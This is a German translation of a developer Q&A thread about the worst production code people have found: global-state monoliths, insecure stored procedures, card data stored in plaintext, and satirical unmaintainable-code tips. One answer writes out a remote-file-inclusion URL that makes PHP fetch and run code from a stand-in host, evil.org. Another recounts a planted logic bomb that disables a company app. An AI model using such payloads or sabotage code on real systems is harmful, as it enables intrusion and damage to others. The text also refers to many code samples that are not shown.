Was ist das böseste oder gefährlichste Codefragment, das Sie jemals in einer Produktionsumgebung eines Unternehmens gesehen haben? Ich bin noch nie auf Produktionscode gestoßen, den ich als absichtlich bösartig und böse betrachten würde. Daher bin ich sehr gespannt, was andere gefunden haben.
Der gefährlichste Code, den ich je gesehen habe, war eine gespeicherte Prozedur, die zwei Verbindungsserver von unserem zentralen Produktionsdatenbankserver entfernt war. Die gespeicherte Prozedur akzeptierte jeden NVARCHAR (8000) -Parameter und führte den Parameter auf dem Zielproduktionsserver über einen Doppelsprung-Befehl sp_executeSQL aus. Das heißt, der Befehl sp_executeSQL hat einen weiteren Befehl sp_executeSQL ausgeführt, um zwei Verbindungsserver zu überspringen. Oh, und das Verbindungsserverkonto hatte Systemadministratorrechte auf dem Zielproduktionsserver.
quelle
Antworten:
Warnung: Langer gruseliger Beitrag voraus
Ich habe über eine Anwendung geschrieben, an der ich zuvor hier und hier gearbeitet habe . Um es einfach auszudrücken: Meine Firma hat 130.000 Müllzeilen aus Indien geerbt. Die Anwendung wurde in C # geschrieben; Es war eine Kassierer-App, die gleiche Art von Software-Kassierern, die hinter der Theke verwendet wird, wenn Sie zur Bank gehen. Die App stürzte 40-50 Mal am Tag ab und konnte einfach nicht in Arbeitscode umgewandelt werden. Mein Unternehmen musste die gesamte App innerhalb von 12 Monaten neu schreiben.
Warum ist diese Anwendung böse? Weil der Anblick des Quellcodes ausreichte, um einen vernünftigen Mann und einen verrückten Mann verrückt zu machen. Die verdrehte Logik, mit der diese Anwendung geschrieben wurde, konnte nur von einem Lovecraft-Albtraum inspiriert sein. Zu den einzigartigen Funktionen dieser Anwendung gehören:
Von 130.000 Codezeilen enthielt die gesamte Anwendung 5 Klassen (ohne Formulardateien). All dies waren öffentliche statische Klassen. Eine Klasse hieß Globals.cs und enthielt 1000 und 1000 und 1000 öffentliche statische Variablen, die den gesamten Status der Anwendung enthielten. Diese fünf Klassen enthielten insgesamt 20.000 Codezeilen, wobei der verbleibende Code in die Formulare eingebettet war.
Sie müssen sich fragen, wie es den Programmierern gelungen ist, eine so große Anwendung ohne Klassen zu schreiben. Womit haben sie ihre Datenobjekte dargestellt? Es stellte sich heraus, dass es den Programmierern gelungen ist, die Hälfte der Konzepte, die wir alle über OOP gelernt haben, durch die Kombination von ArrayLists, HashTables und DataTables neu zu erfinden. Wir haben viel davon gesehen:
Denken Sie daran, dass keine der oben genannten Datenstrukturen stark typisiert ist. Sie müssen also jedes mysteriöse Objekt, das Sie aus der Liste erhalten, in den richtigen Typ umwandeln. Es ist erstaunlich, welche komplexen, Rube Goldberg-ähnlichen Datenstrukturen Sie nur mit ArrayLists, HashTables und DataTables erstellen können.
Um ein Beispiel für die Verwendung des oben beschriebenen Objektmodells zu geben, betrachten Sie Konten: Der ursprüngliche Programmierer hat für jede erkennbare Eigenschaft eines Kontos eine separate HashTable erstellt: eine HashTable mit den Namen hstAcctExists, hstAcctNeedsOverride, hstAcctFirstName. Der Schlüssel für all diese Hashtabellen war ein "|" getrennte Zeichenfolge. Zu den denkbaren Schlüsseln gehörten "123456 | DDA", "24100 | SVG", "100 | LNS" usw.
Da der Status der gesamten Anwendung über globale Variablen leicht zugänglich war, war es für die Programmierer nicht erforderlich, Parameter an Methoden zu übergeben. Ich würde sagen, 90% der Methoden haben 0 Parameter verwendet. Von den wenigen, die dies taten, wurden alle Parameter der Einfachheit halber als Zeichenfolgen übergeben, unabhängig davon, was die Zeichenfolge darstellte.
Nebenwirkungsfreie Funktionen gab es nicht. Jede Methode hat eine oder mehrere Variablen in der Globals-Klasse geändert. Nicht alle Nebenwirkungen machten Sinn; Beispielsweise hatte eine der Methoden zur Formularvalidierung einen mysteriösen Nebeneffekt bei der Berechnung von Über- und Unterzahlungen für Kredite für jedes Konto, das in Globals.lngAcctNum gespeichert war.
Obwohl es viele Formulare gab, gab es ein Formular, das sie alle beherrschte: frmMain.cs, das satte 20.000 Codezeilen enthielt. Was hat frmMain gemacht? Alles. Es suchte nach Konten, druckte Quittungen, gab Bargeld aus, es tat alles.
Manchmal waren andere Formulare erforderlich, um Methoden auf frmMain aufzurufen. Anstatt diesen Code aus dem Formular in eine separate Klasse zu zerlegen, rufen Sie den Code einfach direkt auf:
Um nach Konten zu suchen, haben die Programmierer Folgendes getan:
So schlecht es bereits ist, ein unsichtbares Formular zur Ausführung der Geschäftslogik zu erstellen, woher wusste das Formular Ihrer Meinung nach, welches Konto nachgeschlagen werden muss? Das ist einfach: Das Formular kann auf Globals.lngAcctNum und Globals.strAcctType zugreifen. (Wer liebt die ungarische Notation nicht?)
Die Wiederverwendung von Code war ein Synonym für Strg-C, Strg-V. Ich habe 200-Zeilen-Methoden gefunden, die in 20 Formulare kopiert / eingefügt wurden.
Die Anwendung hatte ein bizarres Threading-Modell, was ich gerne als Thread-and-Timer-Modell bezeichne: Jedes Formular, aus dem ein Thread hervorging, hatte einen Timer. Jeder Thread, der erzeugt wurde, startete einen Timer mit einer Verzögerung von 200 ms. Sobald der Timer gestartet wurde, prüfte er, ob der Thread einen magischen Booleschen Wert gesetzt hatte, und brach den Thread ab. Die resultierende ThreadAbortException wurde verschluckt.
Sie würden denken, Sie würden dieses Muster nur einmal sehen, aber ich habe es an mindestens 10 verschiedenen Stellen gefunden.
Apropos Threads: Das Schlüsselwort "Sperre" wurde in der Anwendung nie angezeigt. Threads manipulierten den globalen Status frei, ohne eine Sperre zu nehmen.
Jede Methode in der Anwendung enthielt einen Try / Catch-Block. Jede Ausnahme wurde protokolliert und verschluckt.
Wer beim Einschalten von Saiten Enums einschalten muss, ist genauso einfach!
Einige Genies haben herausgefunden, dass Sie mehrere Formularsteuerelemente mit demselben Ereignishandler verknüpfen können. Wie hat der Programmierer damit umgegangen?
Das gleiche Genie entdeckte auch den glorreichen ternären Operator. Hier sind einige Codebeispiele:
frmTranHist.cs [line 812]:
frmTellTransHist.cs [line 961]:
frmMain.TellCash.cs [line 727]:
Hier ist ein Code-Snippet, das den typischen Missbrauch des StringBuilder demonstriert. Beachten Sie, wie der Programmierer eine Zeichenfolge in einer Schleife verknüpft und die resultierende Zeichenfolge dann an den StringBuilder anfügt:
Für Tabellen gab es keine Primärschlüssel, Indizes oder Fremdschlüsseleinschränkungen, fast alle Felder waren vom Typ varchar (50) und 100% der Felder waren nullwertfähig. Interessanterweise wurden Bitfelder nicht zum Speichern von Booleschen Daten verwendet. Stattdessen wurde ein char (1) -Feld verwendet und die Zeichen 'Y' und 'N' wurden verwendet, um wahr bzw. falsch darzustellen.
Apropos Datenbank: Hier ist ein repräsentatives Beispiel für eine gespeicherte Prozedur:
Trotz alledem ist das größte Problem bei dieser 130.000-Linien-Anwendung: keine Unit-Tests.
Ja, ich habe diese Geschichte an TheDailyWTF gesendet und dann meinen Job gekündigt.
quelle
Ich habe eine solche Passwortverschlüsselungsfunktion gesehen
quelle
In einem System, das Kreditkartenzahlungen akzeptiert hat, haben wir die vollständige Kreditkartennummer zusammen mit Name, Ablaufdatum usw. gespeichert.
Es stellt sich heraus, dass dies illegal ist, was ironisch ist, da wir zu dieser Zeit das Programm für das Justizministerium geschrieben haben.
quelle
Dies war die Fehlerbehandlungsroutine in einem kommerziellen Code:
Ich sollte herausfinden, warum "die App immer wieder blockiert".
quelle
Kombination aller folgenden PHP 'Features' auf einmal.
Wirklich schreckliche Array- / Variablennamen (wörtliches Beispiel):
(Ich habe buchstäblich eine Stunde lang versucht herauszufinden, wie das funktioniert, bevor mir klar wurde, dass sie nicht dieselbe Variable sind.)
Schließen Sie 50 Dateien ein, von denen jede 50 Dateien enthält, und alles wird linear / prozedural über alle 50 Dateien auf bedingte und unvorhersehbare Weise ausgeführt.
Für diejenigen, die keine variablen Variablen kennen:
Stellen Sie sich nun vor, $ x enthält einen Wert aus Ihrer URL (Globals Magic registrieren). Nirgendwo in Ihrem Code ist also ersichtlich, mit welcher Variablen Sie arbeiten, da alles durch die URL bestimmt wird.
Überlegen Sie nun, was passiert, wenn der Inhalt dieser Variablen eine vom Benutzer der Website angegebene URL sein kann. Ja, dies ist für Sie möglicherweise nicht sinnvoll, erstellt jedoch eine Variable mit dem Namen "url", dh:
$http://google.com
,außer dass nicht direkt darauf zugegriffen werden kann, müssen Sie es über die oben beschriebene double $ -Technik verwenden.
Wenn es einem Benutzer möglich ist, eine Variable in der URL anzugeben, die angibt, welche Datei eingeschlossen werden soll, gibt es außerdem böse Tricks wie
http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php
und wenn diese Variable auftaucht
include($include)
und 'evilcode.php' druckt seinen Code im Klartext, und Php ist unangemessen gesichert. PHP wird einfach heruntergefahren, evilcode.php heruntergeladen und als Benutzer des Webservers ausgeführt.
Der Web-Server gibt ihm alle Berechtigungen usw., lässt Shell-Aufrufe zu, lädt beliebige Binärdateien herunter und führt sie aus usw. usw., bis Sie sich schließlich fragen, warum in einer Box nicht genügend Speicherplatz vorhanden ist und ein Verzeichnis 8 GB Raubkopien enthält italienische Synchronisation, die über einen Bot im IRC geteilt wird.
Ich bin nur dankbar, dass ich herausgefunden habe, dass Gräueltaten, bevor das Skript, das den Angriff ausführt, beschlossen hat, etwas wirklich Gefährliches zu tun, wie äußerst vertrauliche Informationen aus der mehr oder weniger ungesicherten Datenbank zu sammeln: |
(Ich könnte das tägliche WTF 6 Monate lang jeden Tag mit dieser Codebasis unterhalten, ich mache dir nichts vor. Es ist nur eine Schande, dass ich das tägliche WTF entdeckt habe, nachdem ich diesem Code entkommen bin.)
quelle
In der Header-Datei des Hauptprojekts von einem alten COBOL-Programmierer, der unerklärlicherweise einen Compiler in C schrieb:
"Sie erhalten also keinen Compilerfehler, wenn Sie vergessen, Ihre Schleifenvariablen zu deklarieren."
quelle
Das Windows-Installationsprogramm.
quelle
Dieser Artikel Wie man nicht wartbaren Code schreibt, behandelt einige der brillantesten Techniken, die der Mensch kennt . Einige meiner Favoriten sind:
Neue Verwendungen für Namen für Baby
Wenn Sie eine Kopie eines Babynamenbuchs kaufen, werden Sie bei Variablennamen nie ratlos sein. Fred ist ein wunderbarer Name und leicht zu tippen. Wenn Sie nach einfach zu tippenden Variablennamen suchen, versuchen Sie es mit adsf oder aoeu, wenn Sie mit einer DSK-Tastatur tippen.
Kreative Rechtschreibfehler
Wenn Sie beschreibende Variablen- und Funktionsnamen verwenden müssen, schreiben Sie diese falsch. Durch die falsche Schreibweise in einigen Funktions- und Variablennamen und die korrekte Schreibweise in anderen (z. B. SetPintleOpening SetPintalClosing) wird die Verwendung von Grep- oder IDE-Suchtechniken effektiv negiert. Es funktioniert erstaunlich gut. Fügen Sie ein internationales Flair hinzu, indem Sie Tory oder Tori in verschiedenen Theatern / Theatern buchstabieren.
Sei abstrakt
Verwenden Sie beim Benennen von Funktionen und Variablen häufig abstrakte Wörter wie alles, Daten, Handle, Stuff, Do, Routine, Perform und die Ziffern, z. B. RoutineX48, PerformDataFunction, DoIt, HandleStuff und do_args_method.
Kapitalisierung
Großschreibung des ersten Buchstabens einer Silbe in der Mitte eines Wortes nach dem Zufallsprinzip. Zum Beispiel ComputeRasterHistoGram ().
Kleinbuchstaben l Sieht der Ziffer 1 sehr ähnlich
Verwenden Sie Kleinbuchstaben l, um lange Konstanten anzugeben. zB wird 10l eher mit 101 verwechselt als mit 10L. Verbieten Sie alle Schriftarten, die eindeutig von uvw wW gq9 2z 5s il17 |! J oO08 `'";,. M nn rn {[()]} unterscheiden. Seien Sie kreativ.
Recyceln Sie Ihre Variablen
Wo immer die Bereichsregeln dies zulassen, verwenden Sie vorhandene nicht verwandte Variablennamen wieder. Verwenden Sie dieselbe temporäre Variable in ähnlicher Weise für zwei nicht miteinander verbundene Zwecke (angeblich zum Speichern von Stapelsteckplätzen). Verwandeln Sie für eine teuflische Variante die Variable, weisen Sie beispielsweise einer Variablen am Anfang einer sehr langen Methode einen Wert zu und ändern Sie dann irgendwo in der Mitte die Bedeutung der Variablen auf subtile Weise, z. B. durch Konvertieren von eine 0-basierte Koordinate zu einer 1-basierten Koordinate. Stellen Sie sicher, dass Sie diese Bedeutungsänderung nicht dokumentieren.
Cd wrttn wtht vwls s mch trsr
Wenn Sie Abkürzungen in Variablen- oder Methodennamen verwenden, brechen Sie die Langeweile mit mehreren Varianten für dasselbe Wort und buchstabieren Sie sie gelegentlich sogar in Langschrift. Dies hilft dabei, die faulen Penner zu besiegen, die die Textsuche verwenden, um nur einen Aspekt Ihres Programms zu verstehen. Betrachten Sie abweichende Schreibweisen als eine Variante des Tricks, z. B. das Mischen internationaler Farben mit amerikanischer Farbe und kulerz mit Dude-Sprache. Wenn Sie die Namen vollständig buchstabieren, gibt es nur eine Möglichkeit, jeden Namen zu buchstabieren. Diese sind für den Wartungsprogrammierer zu leicht zu merken. Da es so viele verschiedene Möglichkeiten gibt, ein Wort mit Abkürzungen abzukürzen, können Sie mehrere verschiedene Variablen verwenden, die alle denselben offensichtlichen Zweck haben. Als zusätzlichen Bonus bemerkt der Wartungsprogrammierer möglicherweise nicht einmal, dass es sich um separate Variablen handelt.
Obskure Filmreferenzen
Verwenden Sie konstante Namen wie LancelotsFavouriteColour anstelle von Blau und weisen Sie ihm einen Hex-Wert von $ 0204FB zu. Die Farbe sieht auf dem Bildschirm identisch mit reinem Blau aus, und ein Wartungsprogrammierer müsste 0204FB (oder ein grafisches Werkzeug) berechnen, um zu wissen, wie es aussieht. Nur jemand, der mit Monty Python und dem Heiligen Gral bestens vertraut ist, würde wissen, dass Lancelots Lieblingsfarbe Blau war. Wenn ein Wartungsprogrammierer nicht ganze Monty Python-Filme aus dem Speicher zitieren kann, hat er oder sie nichts damit zu tun, Programmierer zu sein.
Dokumentieren Sie das Offensichtliche
Pepper den Code mit Kommentaren wie / * addiere 1 zu i * / dokumentiere jedoch niemals wolliges Zeug wie den Gesamtzweck des Pakets oder der Methode.
Dokumentieren Sie, wie nicht warum
Dokumentieren Sie nur die Details dessen, was ein Programm tut, nicht was es zu erreichen versucht. Auf diese Weise hat der Fixierer im Fehlerfall keine Ahnung, was der Code tun soll.
Nebenwirkungen
In C sollen Funktionen idempotent sein (ohne Nebenwirkungen). Ich hoffe dieser Hinweis reicht aus.
Verwenden Sie Octal
Schmuggeln Sie Oktalliterale in eine Liste von Dezimalzahlen wie folgt:
Erweitertes ASCII
Erweiterte ASCII-Zeichen sind als Variablennamen gültig, einschließlich der Zeichen ß, Ð und ñ. Sie können kaum kopiert werden, ohne sie in einem einfachen Texteditor zu kopieren / einzufügen.
Namen aus anderen Sprachen
Verwenden Sie fremdsprachige Wörterbücher als Quelle für Variablennamen. Verwenden Sie zum Beispiel den deutschen Punkt für Punkt. Wartungscodierer genießen ohne Ihre festen Deutschkenntnisse die multikulturelle Erfahrung, die Bedeutung zu entschlüsseln.
Namen aus der Mathematik
Wählen Sie Variablennamen, die sich als mathematische Operatoren tarnen, z.
Code, der sich als Kommentar tarnt und umgekehrt
Fügen Sie Codeabschnitte ein, die auskommentiert sind, aber auf den ersten Blick nicht zu sein scheinen.
Würden Sie ohne die Farbcodierung feststellen, dass drei Codezeilen auskommentiert sind?
Beliebige Namen, die sich als Schlüsselwörter tarnen
Wenn Sie dokumentieren und einen beliebigen Namen benötigen, um einen Dateinamen darzustellen, verwenden Sie "Datei". Verwenden Sie niemals einen offensichtlich willkürlichen Namen wie "Charlie.dat" oder "Frodo.txt". Verwenden Sie in Ihren Beispielen im Allgemeinen beliebige Namen, die so ähnlich wie möglich nach reservierten Schlüsselwörtern klingen. Gute Namen für Parameter oder Variablen wären beispielsweise "bank", "leer", "Klasse", "const", "konstant", "Eingabe", "Schlüssel", "Schlüsselwort", "Art", "Ausgabe". , "Parameter" "Parameter", "System", "Typ", "Wert", "Var" und "Variable". Wenn Sie tatsächlich reservierte Wörter für Ihre beliebigen Namen verwenden, die von Ihrem Befehlsprozessor oder Compiler abgelehnt würden, umso besser. Wenn du das gut machst,
Codenamen dürfen nicht mit Bildschirmnamen übereinstimmen
Wählen Sie Ihre Variablennamen so aus, dass sie absolut keinen Bezug zu den Beschriftungen haben, die verwendet werden, wenn solche Variablen auf dem Bildschirm angezeigt werden. ZB auf dem Bildschirm das Feld "Postleitzahl" beschriften, aber im Code die zugehörige Variable "zip" aufrufen.
Auswahl des besten Überlastungsoperators
Überladen Sie in C ++ +, -, *, /, um Dinge zu tun, die nichts mit Addition, Subtraktion usw. zu tun haben. Wenn die Stroustroup den Shift-Operator für E / A verwenden kann, warum sollten Sie dann nicht gleichermaßen kreativ sein? Wenn Sie + überladen, stellen Sie sicher, dass Sie dies so tun, dass i = i + 5; hat eine ganz andere Bedeutung als i + = 5; Hier ist ein Beispiel für die Erhöhung der Verschleierung von Überlastungsoperatoren auf eine hohe Kunst. Überladen Sie das '!' Operator für eine Klasse, aber die Überlastung haben nichts mit Invertieren oder Negieren zu tun. Lassen Sie es eine ganze Zahl zurückgeben. Um einen logischen Wert dafür zu erhalten, müssen Sie '! ! '. Dies kehrt jedoch die Logik um, sodass Sie [Trommelwirbel] verwenden müssen '! ! ! '. Verwechseln Sie das nicht! Operator, der eine boolesche 0 oder 1 mit dem ~ bitweisen logischen Negationsoperator zurückgibt.
Ausnahmen
Ich werde Sie in ein wenig bekanntes Codierungsgeheimnis einweihen. Ausnahmen sind ein Schmerz im Hinterkopf. Richtig geschriebener Code schlägt nie fehl, sodass Ausnahmen eigentlich nicht erforderlich sind. Verschwenden Sie keine Zeit mit ihnen. Ausnahmen für Unterklassen gelten für Inkompetente, die wissen, dass ihr Code fehlschlägt. Sie können Ihr Programm erheblich vereinfachen, indem Sie nur einen einzigen Versuch / Fang in der gesamten Anwendung (hauptsächlich) ausführen, die System.exit () aufruft. Kleben Sie einfach einen Standardsatz von Würfen auf jeden Methodenheader, ob sie tatsächlich Ausnahmen auslösen könnten oder nicht.
Magic Matrix Locations
Verwenden Sie spezielle Werte an bestimmten Matrixpositionen als Flags. Eine gute Wahl ist das [3] [0] -Element in einer Transformationsmatrix, die mit einem homogenen Koordinatensystem verwendet wird.
Magic Array Slots überarbeitet
Wenn Sie mehrere Variablen eines bestimmten Typs benötigen, definieren Sie einfach ein Array davon und greifen Sie dann über die Nummer darauf zu. Wählen Sie eine Nummerierungskonvention, die nur Sie kennen, und dokumentieren Sie sie nicht. Und definieren Sie keine # define-Konstanten für die Indizes. Jeder sollte nur wissen, dass das globale Variablen-Widget [15] die Schaltfläche zum Abbrechen ist. Dies ist nur eine aktuelle Variante der Verwendung absoluter numerischer Adressen im Assembler-Code.
Verschönern Sie niemals
Verwenden Sie niemals einen automatisierten Quellcode-Aufräumer (Verschönerer), um Ihren Code auszurichten. Lobby, damit sie sie aus Ihrem Unternehmen verbannen, weil sie falsche Deltas in PVCS / CVS (Versionskontroll-Tracking) erstellen oder weil jeder Programmierer seinen eigenen Einrückungsstil für jedes Modul, das er geschrieben hat, für immer heilig halten sollte. Bestehen Sie darauf, dass andere Programmierer diese eigenwilligen Konventionen in "seinen" Modulen beachten. Das Verbot von Verschönerungen ist recht einfach, obwohl sie die Millionen von Tastenanschlägen beim manuellen Ausrichten sparen und Tage damit verschwenden, schlecht ausgerichteten Code falsch zu interpretieren. Bestehen Sie nur darauf, dass alle das gleiche aufgeräumte Format verwenden, nicht nur zum Speichern im gemeinsamen Repository, sondern auch während der Bearbeitung. Dies startet eine RWAR und der Chef wird, um den Frieden zu bewahren, das automatische Aufräumen verbieten. Ohne automatisiertes Aufräumen, Es steht Ihnen jetzt frei, den Code versehentlich falsch auszurichten, um die optische Täuschung zu erzeugen, dass Schleifen- und Wenn-Körper länger oder kürzer sind als sie wirklich sind oder dass Klauseln mit einem anderen Wenn übereinstimmen, als sie es tatsächlich tun. z.B
Testen ist für Feiglinge
Ein mutiger Programmierer wird diesen Schritt umgehen. Zu viele Programmierer haben Angst vor ihrem Chef, Angst, ihren Job zu verlieren, Angst vor Hasspost von Kunden und Angst, verklagt zu werden. Diese Angst lähmt das Handeln und verringert die Produktivität. Studien haben gezeigt, dass die Eliminierung der Testphase bedeutet, dass Manager die Versanddaten frühzeitig festlegen können. Dies ist eine offensichtliche Hilfe im Planungsprozess. Wenn die Angst weg ist, können Innovation und Experimente aufblühen. Die Rolle des Programmierers besteht darin, Code zu erstellen, und das Debuggen kann durch eine Zusammenarbeit des Helpdesks und der Legacy-Wartungsgruppe erfolgen.
Wenn wir volles Vertrauen in unsere Codierungsfähigkeit haben, sind Tests nicht erforderlich. Wenn wir dies logisch betrachten, kann jeder Dummkopf erkennen, dass das Testen nicht einmal versucht, ein technisches Problem zu lösen, sondern dass dies ein Problem des emotionalen Vertrauens ist. Eine effizientere Lösung für dieses Problem des mangelnden Vertrauens besteht darin, Tests vollständig zu eliminieren und unsere Programmierer zu Kursen zum Selbstwertgefühl zu schicken. Wenn wir uns für das Testen entscheiden, müssen wir schließlich jede Programmänderung testen, aber wir müssen die Programmierer nur zu einem Kurs schicken, um das Selbstwertgefühl zu stärken. Der Kostenvorteil ist ebenso erstaunlich wie offensichtlich.
Kehren Sie die übliche Richtig-Falsch-Konvention um
Kehren Sie die üblichen Definitionen von wahr und falsch um. Klingt sehr offensichtlich, funktioniert aber hervorragend. Sie können verstecken:
Irgendwo tief im Code, so dass er aus einer Datei, die niemand mehr betrachtet, aus dem Darm des Programms ausgebaggert wird. Dann zwingen Sie das Programm zu Vergleichen wie:
Jemand ist verpflichtet, die offensichtliche Redundanz zu "korrigieren" und var auf die übliche Weise an anderer Stelle zu verwenden:
Eine andere Technik besteht darin, TRUE und FALSE auf den gleichen Wert zu bringen, obwohl die meisten dies als Betrug betrachten würden. Die Verwendung der Werte 1 und 2 oder -1 und 0 ist eine subtilere Methode, um Menschen zu stolpern und trotzdem respektabel auszusehen. Sie können dieselbe Technik in Java verwenden, indem Sie eine statische Konstante namens TRUE definieren. Programmierer sind möglicherweise misstrauischer, dass Sie nichts Gutes tun, da in Java ein integriertes Literal true vorhanden ist.
Schizophrenie ausnutzen
Java ist in Bezug auf Array-Deklarationen schizophren. Sie können sie mit dem alten C, Way String x [] (mit gemischter Prä-Postfix-Notation) oder mit dem neuen Way String [] x mit reiner Präfix-Notation ausführen. Wenn Sie die Leute wirklich verwirren möchten, mischen Sie die Notationse.g.
was äquivalent ist zu:
quelle
Ich weiß nicht, ob ich den Code "böse" nennen würde, aber wir hatten einen Entwickler, der
Object[]
Arrays erstellte, anstatt Klassen zu schreiben. Überall.quelle
Ich habe Code gesehen (und auf thedailywtf gepostet), mit dem jeder dienstags Administratorrechte für einen wesentlichen Teil einer Anwendung erhält. Ich denke, der ursprüngliche Entwickler hat vergessen, den Code nach lokalen Maschinentests zu entfernen.
quelle
Ich weiß nicht, ob dies "böse" oder falsch ist (ich habe es kürzlich auf The Old New Thing gepostet):
Ich kannte einen Mann, der es liebte, Informationen als begrenzte Zeichenfolgen zu speichern. Er war mit dem Konzept der Arrays vertraut, wie gezeigt wurde, als er Arrays mit begrenzten Strings verwendete, aber die Glühbirne leuchtete nie auf.
quelle
Base 36-Codierung zum Speichern von Ints in Strings.
Ich denke, die Theorie geht in etwa so:
Momentan arbeite ich mit einer Datenbank, die die Wochentage, an denen ein Ereignis auftreten kann, als 7-Bit-Bitfeld (0-127) speichert, das in der Datenbank als 2-stellige Zeichenfolge im Bereich von '0' gespeichert ist. zu '3J'.
quelle
Ich erinnere mich, dass ich einen Login-Handler gesehen habe, der eine Post-Anfrage entgegengenommen und zu einem GET umgeleitet hat, dessen Benutzername und Passwort als Parameter übergeben wurden. Dies war für ein medizinisches System der "Enterprise-Klasse".
Ich bemerkte dies beim Überprüfen einiger Protokolle - ich war sehr versucht, dem CEO sein Passwort zu senden.
quelle
Wirklich böse war dieses Stück brillanten Delphi-Codes:
Es hat großartig funktioniert, wenn es nur eine Instanz einer Klasse gab. Aber leider musste ich eine andere Instanz verwenden und das verursachte viele interessante Fehler.
Als ich dieses Juwel gefunden habe, kann ich mich nicht erinnern, ob ich ohnmächtig geworden oder geschrien habe, wahrscheinlich beides.
quelle
Vielleicht nicht böse, aber sicher eher ... fehlgeleitet.
Ich musste einmal einen "Parser für natürliche Sprache" umschreiben, der als einzelne 5.000-Zeilen-if-then-Anweisung implementiert wurde.
wie in...
quelle
Ich habe Code in einer ASP.NET MVC-Site von einem Mann gesehen, der zuvor nur Webformulare erstellt hatte (und ein bekannter Copy / Paster ist!), Der ein clientseitiges Klickereignis auf ein
<a>
Tag geklebt hat , das eine Javascript-Methode aufgerufen hat, die ein Dokument erstellt hat. Standort.Ich habe versucht zu erklären, dass ein
href
auf dem<a>
Tag dasselbe tun würde !!!quelle
Ein bisschen böse ... jemand, den ich kenne, hat in die interne Web-App des Unternehmens geschrieben, eine tägliche Überprüfung, ob er sich in den letzten 10 Tagen beim System angemeldet hat. Wenn keine Aufzeichnung von ihm angemeldet ist, wird die App für alle Mitarbeiter des Unternehmens deaktiviert.
Er schrieb das Stück, als er Gerüchte über Entlassungen hörte, und wenn er unterging, musste die Firma leiden.
Der einzige Grund, warum ich davon wusste, ist, dass er zwei Wochen Urlaub gemacht hat und ich ihn angerufen habe, als die Seite kaputt war. Er sagte mir, ich solle mich mit seinem Benutzernamen / Passwort anmelden ... und alles war wieder in Ordnung.
Natürlich ... Monate später wurden wir alle entlassen.
quelle
Mein Kollege erinnert sich gerne an die ASP.NET-Anwendung, die
public static
für alle Datenbankarbeiten eine Datenbankverbindung verwendet hat .Ja, eine Verbindung für alle Anfragen. Und nein, es wurde auch keine Verriegelung vorgenommen.
quelle
Ich erinnere mich, dass ich IIS 3 einrichten musste, um Perl-CGI-Skripte auszuführen (ja, das war vor langer Zeit). Die offizielle Empfehlung zu dieser Zeit war, Perl.exe in cgi-bin zu setzen. Es hat funktioniert, aber es hat auch jedem Zugriff auf eine ziemlich leistungsstarke Scripting-Engine gegeben!
quelle
Jedes RFC 3514- kompatible Programm, das das böse Bit setzt .
quelle
SQL-Abfragen direkt in Javascript in einer ASP-Anwendung. Schmutziger geht es nicht ...
quelle
Wir hatten eine Anwendung, die den gesamten globalen Status in eine XML-Datei geladen hat. Kein Problem damit, außer dass der Entwickler eine neue Form der Rekursion erstellt hatte.
Dann kommt der lustige Teil. Wenn die Anwendung geladen wird, durchläuft sie die Liste der Eigenschaften und fügt sie einer globalen (flachen) Liste hinzu, zusammen mit dem Inkrementieren eines Mystery-Zählers. Der Mystery Counter heißt völlig irrelevant und wird in Mystery-Berechnungen verwendet:
Und dann bekommen Sie Funktionen wie
Bearbeiten: Klarstellung - Ich habe lange gebraucht, um herauszufinden, dass er die Tiefe der Rekursion gezählt hat, da auf Ebene 6 oder 7 die Eigenschaften ihre Bedeutung geändert haben und er den Zähler verwendet hat, um sein flaches Set in 2 Sets verschiedener Typen aufzuteilen , ähnlich wie eine Liste von STAAT, STAAT, STAAT, STADT, STADT, STADT und die Überprüfung, ob der Index> Zähler ist, um festzustellen, ob Ihr Name eine Stadt oder ein Bundesland ist)
quelle
Anstatt einen Windows-Dienst für einen Serverprozess zu schreiben, der ständig ausgeführt werden musste, schrieb einer unserer "Architekten" eine Konsolen-App und verwendete den Taskplaner, um sie alle 60 Sekunden auszuführen.
Beachten Sie, dass dies in .NET der Fall ist, wo Dienste sehr einfach zu erstellen sind.
- -
Außerdem wurde an derselben Stelle eine Konsolen-App zum Hosten eines .NET-Remoting-Dienstes verwendet, sodass die Konsolen-App gestartet und eine Sitzung gesperrt werden musste, damit sie bei jedem Neustart des Servers ausgeführt werden konnte.
- -
Am letzten Ort, an dem ich arbeitete, hatte einer der Architekten eine einzige C # -Quellcodedatei mit über 100 Klassen, die ungefähr 250 KB groß war.
quelle
32 Quellcodedateien mit jeweils mehr als 10 KB Codezeilen. Jede enthielt eine Klasse. Jede Klasse enthielt eine Methode, die "alles" tat.
Das war ein wahrer Albtraum für das Debuggen dieses Codes, bevor ich das umgestalten musste.
quelle
An einem früheren Arbeitsplatz haben wir ein Legacy-Projekt geerbt, das teilweise früher ausgelagert worden war. Die Haupt-App war Java, der ausgelagerte Teil war eine native C-Bibliothek. Einmal habe ich mir die C-Quelldateien angesehen. Ich habe den Inhalt des Verzeichnisses aufgelistet. Es gab mehrere Quelldateien mit einer Größe von über 200 KB. Die größte C-Datei war 600 KB .
Gott sei Dank musste ich sie nie anfassen :-)
quelle
Ich erhielt eine Reihe von Programmen, um voranzukommen, während Kollegen bei einem Kunden im Ausland waren (Installation dieser Programme). In jedem Programm war eine Schlüsselbibliothek enthalten, und als ich versuchte, den Code herauszufinden, stellte ich fest, dass es von Programm zu Programm winzige Unterschiede gab. In einer gemeinsamen Bibliothek.
Als ich dies erkannte, führte ich einen Textvergleich aller Kopien durch. Ich glaube, von 16 gab es ungefähr 9 einzigartige. Ich warf einen Anfall.
Der Chef intervenierte und ließ die Kollegen eine scheinbar universelle Version zusammenstellen. Sie schickten den Code per E-Mail. Mir unbekannt, gab es Zeichenfolgen mit nicht druckbaren Zeichen und einige gemischte Codierungen. Die E-Mail hat es ziemlich schlecht verstümmelt.
Die nicht druckbaren Zeichen wurden verwendet, um Daten (alle Zeichenfolgen!) Von einem Server an einen Client zu senden. Alle Zeichenfolgen wurden daher auf der Serverseite durch das Zeichen 0x03 getrennt und auf der Clientseite in C # mithilfe der Split-Funktion neu zusammengestellt.
Der irgendwie vernünftige Weg wäre gewesen:
Der vernünftigere und freundlichere Weg wäre gewesen, eine Konstante zu verwenden:
Der BÖSE Weg war das, was meine Kollegen gewählt haben: Verwenden Sie alle "Drucke" für 0x03 in Visual Studio und setzen Sie diese zwischen Anführungszeichen:
